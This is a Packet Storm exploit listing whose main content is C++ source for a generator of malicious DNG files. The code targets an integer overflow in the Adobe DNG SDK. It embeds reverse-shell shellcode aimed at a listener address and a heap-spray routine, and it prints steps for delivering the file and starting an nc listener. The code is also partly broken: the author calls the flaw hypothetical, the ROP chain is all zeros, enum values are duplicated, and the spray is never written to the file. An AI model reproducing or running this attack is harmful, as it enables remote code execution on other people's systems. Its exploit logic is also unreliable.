PACKETSTORM 5.5 MEDIUM

📄 Adobe DNG SDK Integer Overflow Proof of Concept Generator_PACKETSTORM:220736

May 11, 2026 invoker category_exploit
5.5 / 10
MEDIUM
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Description

This is a proof of concept tool to generate an integer overflow condition in the Adobe DNG SDK to achieve arbitrary code execution. integer overflow during image processing...
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Basic Information

ID PACKETSTORM:220736
Published May 11, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Adobe DNG SDK Integer Overflow RCE Exploit PoC Generator |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.adobe.com/ |
==================================================================================================================================

[+] Summary : This code is a proof-of-concept exploit targeting a hypothetical vulnerability in the Adobe DNG SDK related to an integer overflow during image processing.

[+] POC :

#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include <string>
#include <fstream>
#include <iomanip>
#include <algorithm>

#pragma pack(push, 1)

struct TIFFHeader {
uint16_t byteOrder;
uint16_t version;
uint32_t firstIFDOffset;
};
struct TIFFTag {
uint16_t tag;
uint16_t type;
uint32_t count;
uint32_t value;
};
enum DNGTags {
TAG_NewSubFileType = 254,
TAG_ImageWidth = 256,
TAG_ImageLength = 257,
TAG_BitsPerSample = 258,
TAG_Compression = 259,
TAG_PhotometricInterpretation = 262,
TAG_StripOffsets = 273,
TAG_SamplesPerPixel = 277,
TAG_RowsPerStrip = 278,
TAG_StripByteCounts = 279,
TAG_PlanarConfiguration = 284,
TAG_Orientation = 274,
TAG_DefaultScale = 50718,
TAG_DefaultCropOrigin = 50719,
TAG_DefaultCropSize = 50720,
TAG_ActiveArea = 50829,
TAG_OpcodeList2 = 51041,
TAG_RawDataUniqueID = 50721,
TAG_LinearizationTable = 50723,
TAG_BlackLevel = 50727,
TAG_WhiteLevel = 50729,
TAG_CFAPlaneColor = 50735,
TAG_CFALayout = 50736,
TAG_CFAPattern = 50737,
TAG_BayerGreenSplit = 50738,
TAG_ColorMatrix1 = 50731,
TAG_ColorMatrix2 = 50732,
TAG_CameraCalibration1 = 50733,
TAG_CameraCalibration2 = 50734,
TAG_AnalogBalance = 50739,
TAG_AsShotNeutral = 50740,
TAG_BaselineExposure = 50741,
TAG_BaselineNoise = 50742,
TAG_BaselineSharpness = 50743,
TAG_NoiseProfile = 51041,
TAG_LinearizationTable = 50723,
};
enum TIFFTypes {
TIFF_BYTE = 1,
TIFF_ASCII = 2,
TIFF_SHORT = 3,
TIFF_LONG = 4,
TIFF_RATIONAL = 5,
TIFF_SBYTE = 6,
TIFF_UNDEFINED = 7,
TIFF_SSHORT = 8,
TIFF_SLONG = 9,
TIFF_SRATIONAL = 10,
TIFF_FLOAT = 11,
TIFF_DOUBLE = 12,
TIFF_IFD = 13,
};
class DNGRawGenerator {
private:
std::vector<uint8_t> m_data;
std::vector<uint32_t> m_ifdOffsets;
uint32_t m_currentOffset;

void writeUInt16(uint16_t value) {
m_data.push_back(value & 0xFF);
m_data.push_back((value >> 8) & 0xFF);
}

void writeUInt32(uint32_t value) {
m_data.push_back(value & 0xFF);
m_data.push_back((value >> 8) & 0xFF);
m_data.push_back((value >> 16) & 0xFF);
m_data.push_back((value >> 24) & 0xFF);
}

void writeFloat(float value) {
uint32_t intVal = *reinterpret_cast<uint32_t*>(&value);
writeUInt32(intVal);
}

void writeRational(uint32_t numerator, uint32_t denominator) {
writeUInt32(numerator);
writeUInt32(denominator);
}

void writeSRational(int32_t numerator, int32_t denominator) {
writeUInt32(static_cast<uint32_t>(numerator));
writeUInt32(static_cast<uint32_t>(denominator));
}

void writeData(const uint8_t* data, uint32_t size) {
m_data.insert(m_data.end(), data, data + size);
}

uint32_t getCurrentOffset() const {
return m_currentOffset + static_cast<uint32_t>(m_data.size());
}

void addPadding() {
while (m_data.size() % 4 != 0) {
m_data.push_back(0);
}
}

public:
DNGRawGenerator() : m_currentOffset(8) {
writeUInt16(0x4949);
writeUInt16(42);
writeUInt32(0);
}

void addIFD(const std::vector<TIFFTag>& tags, bool last = false) {
addPadding();
uint32_t ifdOffset = getCurrentOffset();
m_ifdOffsets.push_back(ifdOffset);

writeUInt16(static_cast<uint16_t>(tags.size()));
for (const auto& tag : tags) {
writeUInt16(tag.tag);
writeUInt16(tag.type);
writeUInt32(tag.count);
writeUInt32(tag.value);
}

writeUInt32(last ? 0 : 0xFFFFFFFF);

m_currentOffset = getCurrentOffset();
}

void addExifIFD(const std::vector<TIFFTag>& tags) {
addPadding();
uint32_t ifdOffset = getCurrentOffset();

writeUInt16(static_cast<uint16_t>(tags.size()));
for (const auto& tag : tags) {
writeUInt16(tag.tag);
writeUInt16(tag.type);
writeUInt32(tag.count);
writeUInt32(tag.value);
}
writeUInt32(0); // Next IFD

m_currentOffset = getCurrentOffset();
}

void writeString(const std::string& str) {
writeData(reinterpret_cast<const uint8_t*>(str.c_str()),
static_cast<uint32_t>(str.length() + 1));
}

void writeRawData(const std::vector<uint8_t>& data) {
writeData(data.data(), static_cast<uint32_t>(data.size()));
}

void setFirstIFDOffset(uint32_t offset) {
// Update first IFD offset in header
m_data[4] = offset & 0xFF;
m_data[5] = (offset >> 8) & 0xFF;
m_data[6] = (offset >> 16) & 0xFF;
m_data[7] = (offset >> 24) & 0xFF;
}

std::vector<uint8_t> finalize() {
if (!m_ifdOffsets.empty()) {
setFirstIFDOffset(m_ifdOffsets[0]);
}
return m_data;
}
};

class DNGExploitPayload {
private:
static constexpr uint32_t RAW_WIDTH = 100;
static constexpr uint32_t RAW_HEIGHT = 100;
static constexpr uint32_t TARGET_WIDTH = 300000;
static constexpr uint32_t TARGET_HEIGHT = 4000;
static constexpr uint32_t BITS_PER_SAMPLE = 8;
static constexpr uint32_t SAMPLES_PER_PIXEL = 3; // RGB
static constexpr uint16_t ORIENTATION = 6; // Rotate 90 degrees
static constexpr uint32_t SPRAY_SIZE = 1024 * 1024 * 32; // 32 MB
static constexpr uint32_t SPRAY_COUNT = 32;
static std::vector<uint8_t> generateShellcode(const std::string& ip, uint16_t port) {

std::vector<uint8_t> shellcode = {

0x48, 0x31, 0xc0,
0x48, 0x31, 0xff,
0x48, 0x31, 0xf6,
0x48, 0x31, 0xd2,
0xb0, 0x3b,
0x68, 0x2f, 0x2f, 0x73, 0x68,
0x68, 0x2f, 0x62, 0x69, 0x6e,
0x54,
0x5f,
0x52,
0x5a,
0x56,
0x5e,
0x0f, 0x05,
0xe8, 0x00, 0x00, 0x00, 0x00
};

if (!ip.empty() && port > 0) {
shellcode.clear();
shellcode = {
0x48, 0x31, 0xc0,
0x48, 0x31, 0xff,
0x48, 0x31, 0xf6,
0x48, 0x31, 0xd2,
0xb0, 0x29,
0x40, 0xb7, 0x02,
0x40, 0xb6, 0x01,
0x31, 0xd2,
0x0f, 0x05,
0x48, 0x89, 0xc7,
0x48, 0x31, 0xc0,
0x48, 0x31, 0xf6,
0x48, 0x31, 0xd2,
0xb0, 0x2a,
0x52,
0x66, 0x68, static_cast<uint8_t>(port >> 8), static_cast<uint8_t>(port & 0xFF),
0x66, 0x6a, 0x02,
0x48, 0x89, 0xe6,
0xb2, 0x10,
0x0f, 0x05,
0x48, 0x31, 0xc0,
0x48, 0x31, 0xf6,
0x48, 0x89, 0xfe,
0x48, 0x31, 0xc9,
0xb0, 0x21,
0x0f, 0x05,
0x48, 0xff, 0xc1,
0x48, 0x83, 0xf9, 0x03,
0x75, 0xf0,
0x48, 0x31, 0xc0,
0x48, 0x31, 0xd2,
0x48, 0xbb, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x62, 0x69, 0x6e,
0x48, 0xc1, 0xeb, 0x08,
0x53,
0x48, 0x89, 0xe7,
0x48, 0x31, 0xf6,
0xb0, 0x3b,
0x0f, 0x05
};
}

return shellcode;
}

std::vector<uint64_t> generateROPChain() {
std::vector<uint64_t> rop = {
0x0000000000000000,
0x0000000000000000,
0x0000000000000000,
0x0000000000000000,
0x0000000000000000,
0x0000000000000000,
0x0000000000000000,
};
return rop;
}

public:
std::vector<uint8_t> generateMaliciousDNG(const std::string& ip = "", uint16_t port = 0) {
DNGRawGenerator dng;
std::vector<uint8_t> rawData(RAW_WIDTH * RAW_HEIGHT * SAMPLES_PER_PIXEL);
for (size_t i = 0; i < rawData.size(); i++) {
rawData[i] = static_cast<uint8_t>(i % 255);
}

std::vector<TIFFTag> mainIFD;


TIFFTag widthTag = {TAG_ImageWidth, TIFF_SHORT, 1, RAW_WIDTH};
TIFFTag heightTag = {TAG_ImageLength, TIFF_SHORT, 1, RAW_HEIGHT};
TIFFTag bitsTag = {TAG_BitsPerSample, TIFF_SHORT, SAMPLES_PER_PIXEL, 0};
TIFFTag samplesTag = {TAG_SamplesPerPixel, TIFF_SHORT, 1, SAMPLES_PER_PIXEL};
TIFFTag photoInterpTag = {TAG_PhotometricInterpretation, TIFF_SHORT, 1, 2};
TIFFTag compressionTag = {TAG_Compression, TIFF_SHORT, 1, 1};
TIFFTag planarConfigTag = {TAG_PlanarConfiguration, TIFF_SHORT, 1, 1};
TIFFTag orientationTag = {TAG_Orientation, TIFF_SHORT, 1, ORIENTATION};

uint32_t stripSize = RAW_WIDTH * RAW_HEIGHT * SAMPLES_PER_PIXEL;
TIFFTag stripOffsetsTag = {TAG_StripOffsets, TIFF_LONG, 1, 0};
TIFFTag stripByteCountsTag = {TAG_StripByteCounts, TIFF_LONG, 1, stripSize};
TIFFTag rowsPerStripTag = {TAG_RowsPerStrip, TIFF_LONG, 1, RAW_HEIGHT};

uint32_t defaultScale[] = {TARGET_WIDTH / RAW_WIDTH, TARGET_HEIGHT / RAW_HEIGHT};
TIFFTag defaultScaleTag = {TAG_DefaultScale, TIFF_RATIONAL, 2, 0};
uint32_t defaultCropSize[] = {TARGET_WIDTH, TARGET_HEIGHT};
TIFFTag defaultCropSizeTag = {TAG_DefaultCropSize, TIFF_RATIONAL, 2, 0};
TIFFTag defaultCropOriginTag = {TAG_DefaultCropOrigin, TIFF_RATIONAL, 2, 0};
std::vector<uint16_t> linearizationTable(65536);
for (int i = 0; i < 65536; i++) {
linearizationTable[i] = static_cast<uint16_t>(i);
}
TIFFTag linearizationTag = {TAG_LinearizationTable, TIFF_SHORT, 65536, 0};
uint32_t colorMatrix[] = {
1, 1, 0, 0, 0, 0, 0, 0, 0,
};
TIFFTag colorMatrixTag = {TAG_ColorMatrix1, TIFF_SRATIONAL, 9, 0};
TIFFTag blackLevelTag = {TAG_BlackLevel, TIFF_LONG, 1, 0};
TIFFTag whiteLevelTag = {TAG_WhiteLevel, TIFF_LONG, 1, 65535};

mainIFD.push_back(widthTag);
mainIFD.push_back(heightTag);
mainIFD.push_back(bitsTag);
mainIFD.push_back(samplesTag);
mainIFD.push_back(photoInterpTag);
mainIFD.push_back(compressionTag);
mainIFD.push_back(planarConfigTag);
mainIFD.push_back(orientationTag);
mainIFD.push_back(stripOffsetsTag);
mainIFD.push_back(stripByteCountsTag);
mainIFD.push_back(rowsPerStripTag);
mainIFD.push_back(defaultScaleTag);
mainIFD.push_back(defaultCropSizeTag);
mainIFD.push_back(defaultCropOriginTag);
mainIFD.push_back(linearizationTag);
mainIFD.push_back(colorMatrixTag);
mainIFD.push_back(blackLevelTag);
mainIFD.push_back(whiteLevelTag);
dng.addIFD(mainIFD);
uint32_t bitsOffset = dng.getCurrentOffset();
dng.writeUInt16(8);
dng.writeUInt16(8);
dng.writeUInt16(8);
uint32_t defaultScaleOffset = dng.getCurrentOffset();
dng.writeRational(defaultScale[0], defaultScale[1]);
dng.writeRational(defaultScale[0], defaultScale[1]);
uint32_t cropSizeOffset = dng.getCurrentOffset();
dng.writeRational(defaultCropSize[0], 1);
dng.writeRational(defaultCropSize[1], 1);
uint32_t cropOriginOffset = dng.getCurrentOffset();
dng.writeRational(0, 1);
dng.writeRational(0, 1);
uint32_t linearizationOffset = dng.getCurrentOffset();
for (auto val : linearizationTable) {
dng.writeUInt16(val);
}

uint32_t colorMatrixOffset = dng.getCurrentOffset();
for (uint32_t val : colorMatrix) {
dng.writeSRational(val, 1);
}

uint32_t stripOffset = dng.getCurrentOffset();
dng.writeRawData(rawData);

return dng.finalize();
}

std::vector<uint8_t> generateHeapSpray() {
std::vector<uint8_t> spray(SPRAY_SIZE);


auto shellcode = generateShellcode("192.168.1.100", 4444);
auto rop = generateROPChain();

for (size_t i = 0; i < SPRAY_SIZE; i += 4096) {
for (size_t j = 0; j < 2048 && i + j < SPRAY_SIZE; j++) {
spray[i + j] = 0x90;
}

for (size_t j = 0; j < rop.size() * 8 && i + 2048 + j < SPRAY_SIZE; j += 8) {
if (j / 8 < rop.size()) {
uint64_t val = rop[j / 8];
for (int k = 0; k < 8 && i + 2048 + j + k < SPRAY_SIZE; k++) {
spray[i + 2048 + j + k] = (val >> (k * 8)) & 0xFF;
}
}
}

for (size_t j = 0; j < shellcode.size() && i + 4096 - shellcode.size() + j < SPRAY_SIZE; j++) {
spray[i + 4096 - shellcode.size() + j] = shellcode[j];
}

spray[i] = 0xDE;
spray[i + 1] = 0xAD;
spray[i + 2] = 0xBE;
spray[i + 3] = 0xEF;
}

return spray;
}
};
int main(int argc, char* argv[]) {
printf("\n");
printf("========================================\n");
printf(" CVE-2026-27281 - Adobe DNG SDK RCE\n");
printf(" Remote Code Execution via Integer Overflow\n");
printf("========================================\n\n");

// Parse command line arguments
std::string outputFile = "exploit.dng";
std::string shellcodeIP = "";
uint16_t shellcodePort = 0;

for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) {
outputFile = argv[++i];
} else if (strcmp(argv[i], "-l") == 0 && i + 1 < argc) {
shellcodeIP = argv[++i];
} else if (strcmp(argv[i], "-p") == 0 && i + 1 < argc) {
shellcodePort = static_cast<uint16_t>(atoi(argv[++i]));
} else if (strcmp(argv[i], "--help") == 0) {
printf("Usage: %s [options]\n", argv[0]);
printf("Options:\n");
printf(" -o <file> Output DNG file (default: exploit.dng)\n");
printf(" -l <ip> Reverse shell IP address\n");
printf(" -p <port> Reverse shell port\n");
printf("\nExample: %s -l 192.168.1.100 -p 4444 -o malicious.dng\n", argv[0]);
return 0;
}
}

printf("[*] Target: Adobe DNG SDK 1.7.1 build 2410\n");
printf("[*] Vulnerability: Integer overflow in dng_pixel_buffer::OptimizeOrder\n");
printf("[*] Impact: Remote Code Execution\n\n");

DNGExploitPayload exploit;

printf("[*] Generating malicious DNG file...\n");
auto dngData = exploit.generateMaliciousDNG(shellcodeIP, shellcodePort);

if (!shellcodeIP.empty() && shellcodePort > 0) {
printf("[*] Reverse shell configured: %s:%d\n", shellcodeIP.c_str(), shellcodePort);
}
std::ofstream file(outputFile, std::ios::binary);
if (!file) {
printf("[!] Failed to create output file: %s\n", outputFile.c_str());
return 1;
}

file.write(reinterpret_cast<const char*>(dngData.data()), dngData.size());
file.close();

printf("[+] Malicious DNG saved to: %s\n", outputFile.c_str());
printf("[*] File size: %zu bytes\n", dngData.size());

printf("\n[*] Exploit details:\n");
printf(" - Raw image: 100x100 RGB (8-bit)\n");
printf(" - Scaled to: 300,000 x 4,000 via DefaultScale\n");
printf(" - Orientation: 6 (Rotate 90)\n");
printf(" - Trigger: (4000-1) * 900000 * 1 = -3,599,100,000 -> wraps to +695,867,040\n");

printf("\n[!] Usage:\n");
printf(" 1. Copy %s to target system\n", outputFile.c_str());
printf(" 2. Run: dng_validate -tif out.tif %s\n", outputFile.c_str());
printf(" 3. Wait for crash/execution\n");

if (!shellcodeIP.empty() && shellcodePort > 0) {
printf("\n[*] Before running exploit, start listener:\n");
printf(" nc -lvnp %d\n", shellcodePort);
}

printf("\n[+] Exploit generated successfully!\n");

return 0;
}

#pragma pack(pop)

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

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